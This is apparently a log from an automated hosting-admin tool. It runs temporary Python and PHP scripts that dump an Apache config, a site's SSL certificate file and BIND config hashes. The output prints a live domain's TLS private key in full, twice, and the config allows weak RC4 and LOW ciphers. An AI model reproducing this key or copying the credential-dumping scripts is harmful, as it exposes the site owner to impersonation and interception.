payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf')
show_file('/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 19:02:30:
chmod 755 /tmp/pkp432806; /tmp/pkp432806; rm /tmp/pkp432806
2026-01-03 19:02:30:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf 1490
<VirtualHost *:80>
ServerName hymns.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_hymns
<Directory /var/www/hopeinstoughton_hymns>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/hymns_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/hymns_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.py
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName hymns.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
DocumentRoot /var/www/hopeinstoughton_hymns
<Directory /var/www/hopeinstoughton_hymns>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/hymns_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf 1490
<VirtualHost *:80>
ServerName hymns.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_hymns
<Directory /var/www/hopeinstoughton_hymns>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/hymns_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/hymns_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.py
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName hymns.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
DocumentRoot /var/www/hopeinstoughton_hymns
<Directory /var/www/hopeinstoughton_hymns>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/hymns_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py
</VirtualHost>
2026-01-03 19:02:30:
PUT: /tmp/pkp206623
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 19:02:31:
chmod 755 /tmp/pkp206623; /tmp/pkp206623; rm /tmp/pkp206623
2026-01-03 19:02:31:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4 5385
cd:8f:26:d5:18:ea:d6:47:d2:67:da:2c:da:00:21:5a
-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBS/XsdpTAH0CFIV9Y+aI1ktqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTAzMTcxNjE3WhcNMjYwNDAzMTcxNjE2WjAkMSIwIAYDVQQD
ExloeW1ucy5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAxGWFIEFX2u59TNziWB8CrQzCGHpFeaGe1zwofUVTBTY3kCbf
7wG3pnujVXydVJqacEZzpjcBmRSqLQyBGB0SbUYHBqvDTDeIMTON46kuNpFiSkM9
c9jekNCgckdpCk2DnagwBKqn7jwOAbT4oTL9r5/JDw18FA4rX+KzGF3OiSVEJB/L
OiI005mjhxS03AQnzO81QfdP76UZ3kVrANKo2dKuUsJJRGN8VV8COReGaRagwR+9
IsaXZBVXp4IMUsB6ERlc6S+uAuTz/faNWscOPhgcahigf1zEYiXYuOJREgMsPezx
3JDIOH3yS6cDdJ6w9KfpYOFYMqZXE540ZrM5JQIDAQABo4ICMDCCAiwwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBSZrbNTkPkpFzMtuLmMJyc+dCtAXjAfBgNVHSMEGDAW
gBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGWh5bW5zLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgw
JjAkoCKgIIYeaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMDcuY3JsMIIBCgYKKwYB
BAHWeQIEAgSB+wSB+AD2AHUAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMU
WOcAAAGbhRGu8QAABAMARjBEAiB/6zYnhtB4mCSJ1qIVmlACAOGqSTqKWVCuGpkK
W2Q6cwIgKD8XtAe3jiOBFgt1WHaIa8n5HA09JKm/FpBNue7Gq/kAfQClyXiSXVdG
F4KHDdiJZgtcVWSLfQBA8uwHaFHRiGkZ9wAAAZuFEbEWAAgAAAUALb4N1gQDAEYw
RAIgeRWzeBkjscJ838rAchgCAKhGtKrp7kB71V6fAUycd8YCIBnlCSBRGiY89UGR
Kl7MFsU0aKk85MrX3Wo6DWDN/hm+MA0GCSqGSIb3DQEBCwUAA4IBAQBoZSb4XVil
txyf7JLd8a/9Q9bq+nXYF5uDSRW0vJkMsu3uyNy9jL6Ymo0IxUz8NzlITWGz7pc1
8OTfhzKsbf7WL/UGyecSeQDW8o7lEJ2QEzcoulj5GFOaaHr3+2miA0RbVJtH91es
5qDpcthirQZ5/2aIJuGVpkaYAYMvxeqO8Cd+VLfbIHwud1NdYcDCpcml2KrHzaok
WUkWoVymBHa9NI4iuiFXuvmBjELXeykcl6zg5MczsiW6Row1FIP/exNEbHXnLpRq
eZdi+CmrMEfgNjKJJ5D64N2FJ+mK10+dj/1Ri7IvA0xchV96i6cvAXUKADo7sgiZ
YocpVC96KaN7
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDEZYUgQVfa7n1M
3OJYHwKtDMIYekV5oZ7XPCh9RVMFNjeQJt/vAbeme6NVfJ1UmppwRnOmNwGZFKot
DIEYHRJtRgcGq8NMN4gxM43jqS42kWJKQz1z2N6Q0KByR2kKTYOdqDAEqqfuPA4B
tPihMv2vn8kPDXwUDitf4rMYXc6JJUQkH8s6IjTTmaOHFLTcBCfM7zVB90/vpRne
RWsA0qjZ0q5SwklEY3xVXwI5F4ZpFqDBH70ixpdkFVenggxSwHoRGVzpL64C5PP9
9o1axw4+GBxqGKB/XMRiJdi44lESAyw97PHckMg4ffJLpwN0nrD0p+lg4VgyplcT
njRmszklAgMBAAECggEABGxG4Aa6/EkEQqsYO9usEhzoOmgt9V5cEnvU/eOGAQvU
Ucv65qVpnMCTopmVNA2jkuVNkZkTGn7RJOC4kh+GDu2DTf6n2V/syVdyrBfMypA9
e4H0AvwZ/DWjKtH54ou6fidiAXV4bpCSq+UG0vsdyQr2iEguGtE8TYxLz4kHAe/J
jqQNvfbVyV5i3+BodehDwkNgy34ohH7wlhaATM26Rq+FfHhPrLXAoAHTz+N3a4sC
8EjWYKzDrPu584EG48ErSKv8DRywol+CexRNmr3H19ja0R+6ea+dhGM49dsN5ItP
tBozgjhpWwxK3ld5nfQguASngAY4CfsF6lT5tyvTNwKBgQD2VmhGkrJx56bgqNyk
UsCrWnh8QttrQBckYLrYs3NfCA7K5C5+qGZf23XCAGwxiwFwbecRFcyAdbWYaerW
3B8s8csBMXPJdmYSLLWUPjAZvcjSnc9LF8IhuaQ+EPctM0xlhaRfX/uALLxj/fh8
m34ncXKrGtSNWPculJdsXhwIBwKBgQDMGaGyOAGaE3PaRoAP77VzgnWY98IB1ff/
P5RkD+RJNwiB94OfhAQEEucD1e2GBs5M58h4pTd6y6OW/Cd50N0PgDGAiMlHsHyB
ASBYUNFuJ4GPdE1eIRSyV7LqRLPXPMzPnjIdrn0Yw1PNGzXJsDmIm4msUlCGrLNG
7+MauBPycwKBgQCfre82IA2QDGt+Ibe0xPejm6eSVPxKj2bw68rygZB9v4lnN3Z0
H9EMvgOdWAzKKKMsL/Gif5DqjGLEg5P45wNGbQ38ngPCSf9sNJMXnyAq73zoGeev
c50ho2a13OV85U3WWUTtlhg/Q8ByyMR0cY7bHo0IIQI7Bbpk9Wkak/5zrQKBgEMC
g1ktFDGPA3F9xhv1WsDC63M+nP7XTmYKbODxasUzAWMSba+Yu2zO+/QBb8uaPm93
hhU+QVnatColPZy8G2g0cYw+3L7hze7Y/NKiLjCZXetIhwJJoC7xpjdOOTGIr8HW
saOXH1FbCA+GSIGgjzMvxeLC39dnqjC3H/wsxbfLAoGAL8agnxB8ajRyxcnc8Jdh
yrZ2qoknC7aLFv56lBR0bhhz/D1a72E/vjpwsAixG6mYqX0lqwUE+Krask6eKoPt
3Bu1i/ydCayM5/7LDWbBdxjUmAsRtyHAYlaA77DAJbOb4J8krtNrON9Zf99LgWGK
iClo1ciLHyATCfy0wH628H8=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2026-01-03 19:02:31:
PUT: /tmp/pkp389704
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 19:02:31:
chmod 755 /tmp/pkp389704; /tmp/pkp389704; rm /tmp/pkp389704
2026-01-03 19:02:32:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4 5385
cd:8f:26:d5:18:ea:d6:47:d2:67:da:2c:da:00:21:5a
-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBS/XsdpTAH0CFIV9Y+aI1ktqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTAzMTcxNjE3WhcNMjYwNDAzMTcxNjE2WjAkMSIwIAYDVQQD
ExloeW1ucy5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAxGWFIEFX2u59TNziWB8CrQzCGHpFeaGe1zwofUVTBTY3kCbf
7wG3pnujVXydVJqacEZzpjcBmRSqLQyBGB0SbUYHBqvDTDeIMTON46kuNpFiSkM9
c9jekNCgckdpCk2DnagwBKqn7jwOAbT4oTL9r5/JDw18FA4rX+KzGF3OiSVEJB/L
OiI005mjhxS03AQnzO81QfdP76UZ3kVrANKo2dKuUsJJRGN8VV8COReGaRagwR+9
IsaXZBVXp4IMUsB6ERlc6S+uAuTz/faNWscOPhgcahigf1zEYiXYuOJREgMsPezx
3JDIOH3yS6cDdJ6w9KfpYOFYMqZXE540ZrM5JQIDAQABo4ICMDCCAiwwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBSZrbNTkPkpFzMtuLmMJyc+dCtAXjAfBgNVHSMEGDAW
gBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGWh5bW5zLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgw
JjAkoCKgIIYeaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMDcuY3JsMIIBCgYKKwYB
BAHWeQIEAgSB+wSB+AD2AHUAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMU
WOcAAAGbhRGu8QAABAMARjBEAiB/6zYnhtB4mCSJ1qIVmlACAOGqSTqKWVCuGpkK
W2Q6cwIgKD8XtAe3jiOBFgt1WHaIa8n5HA09JKm/FpBNue7Gq/kAfQClyXiSXVdG
F4KHDdiJZgtcVWSLfQBA8uwHaFHRiGkZ9wAAAZuFEbEWAAgAAAUALb4N1gQDAEYw
RAIgeRWzeBkjscJ838rAchgCAKhGtKrp7kB71V6fAUycd8YCIBnlCSBRGiY89UGR
Kl7MFsU0aKk85MrX3Wo6DWDN/hm+MA0GCSqGSIb3DQEBCwUAA4IBAQBoZSb4XVil
txyf7JLd8a/9Q9bq+nXYF5uDSRW0vJkMsu3uyNy9jL6Ymo0IxUz8NzlITWGz7pc1
8OTfhzKsbf7WL/UGyecSeQDW8o7lEJ2QEzcoulj5GFOaaHr3+2miA0RbVJtH91es
5qDpcthirQZ5/2aIJuGVpkaYAYMvxeqO8Cd+VLfbIHwud1NdYcDCpcml2KrHzaok
WUkWoVymBHa9NI4iuiFXuvmBjELXeykcl6zg5MczsiW6Row1FIP/exNEbHXnLpRq
eZdi+CmrMEfgNjKJJ5D64N2FJ+mK10+dj/1Ri7IvA0xchV96i6cvAXUKADo7sgiZ
YocpVC96KaN7
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDEZYUgQVfa7n1M
3OJYHwKtDMIYekV5oZ7XPCh9RVMFNjeQJt/vAbeme6NVfJ1UmppwRnOmNwGZFKot
DIEYHRJtRgcGq8NMN4gxM43jqS42kWJKQz1z2N6Q0KByR2kKTYOdqDAEqqfuPA4B
tPihMv2vn8kPDXwUDitf4rMYXc6JJUQkH8s6IjTTmaOHFLTcBCfM7zVB90/vpRne
RWsA0qjZ0q5SwklEY3xVXwI5F4ZpFqDBH70ixpdkFVenggxSwHoRGVzpL64C5PP9
9o1axw4+GBxqGKB/XMRiJdi44lESAyw97PHckMg4ffJLpwN0nrD0p+lg4VgyplcT
njRmszklAgMBAAECggEABGxG4Aa6/EkEQqsYO9usEhzoOmgt9V5cEnvU/eOGAQvU
Ucv65qVpnMCTopmVNA2jkuVNkZkTGn7RJOC4kh+GDu2DTf6n2V/syVdyrBfMypA9
e4H0AvwZ/DWjKtH54ou6fidiAXV4bpCSq+UG0vsdyQr2iEguGtE8TYxLz4kHAe/J
jqQNvfbVyV5i3+BodehDwkNgy34ohH7wlhaATM26Rq+FfHhPrLXAoAHTz+N3a4sC
8EjWYKzDrPu584EG48ErSKv8DRywol+CexRNmr3H19ja0R+6ea+dhGM49dsN5ItP
tBozgjhpWwxK3ld5nfQguASngAY4CfsF6lT5tyvTNwKBgQD2VmhGkrJx56bgqNyk
UsCrWnh8QttrQBckYLrYs3NfCA7K5C5+qGZf23XCAGwxiwFwbecRFcyAdbWYaerW
3B8s8csBMXPJdmYSLLWUPjAZvcjSnc9LF8IhuaQ+EPctM0xlhaRfX/uALLxj/fh8
m34ncXKrGtSNWPculJdsXhwIBwKBgQDMGaGyOAGaE3PaRoAP77VzgnWY98IB1ff/
P5RkD+RJNwiB94OfhAQEEucD1e2GBs5M58h4pTd6y6OW/Cd50N0PgDGAiMlHsHyB
ASBYUNFuJ4GPdE1eIRSyV7LqRLPXPMzPnjIdrn0Yw1PNGzXJsDmIm4msUlCGrLNG
7+MauBPycwKBgQCfre82IA2QDGt+Ibe0xPejm6eSVPxKj2bw68rygZB9v4lnN3Z0
H9EMvgOdWAzKKKMsL/Gif5DqjGLEg5P45wNGbQ38ngPCSf9sNJMXnyAq73zoGeev
c50ho2a13OV85U3WWUTtlhg/Q8ByyMR0cY7bHo0IIQI7Bbpk9Wkak/5zrQKBgEMC
g1ktFDGPA3F9xhv1WsDC63M+nP7XTmYKbODxasUzAWMSba+Yu2zO+/QBb8uaPm93
hhU+QVnatColPZy8G2g0cYw+3L7hze7Y/NKiLjCZXetIhwJJoC7xpjdOOTGIr8HW
saOXH1FbCA+GSIGgjzMvxeLC39dnqjC3H/wsxbfLAoGAL8agnxB8ajRyxcnc8Jdh
yrZ2qoknC7aLFv56lBR0bhhz/D1a72E/vjpwsAixG6mYqX0lqwUE+Krask6eKoPt
3Bu1i/ydCayM5/7LDWbBdxjUmAsRtyHAYlaA77DAJbOb4J8krtNrON9Zf99LgWGK
iClo1ciLHyATCfy0wH628H8=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2026-01-03 19:02:32: Establishing a connection
2026-01-03 19:02:32:
PUT: /tmp/pkp987397
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-03 19:02:33:
runuser -l bind -s /bin/bash -c '/tmp/pkp987397; rm /tmp/pkp987397'
2026-01-03 19:02:33:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
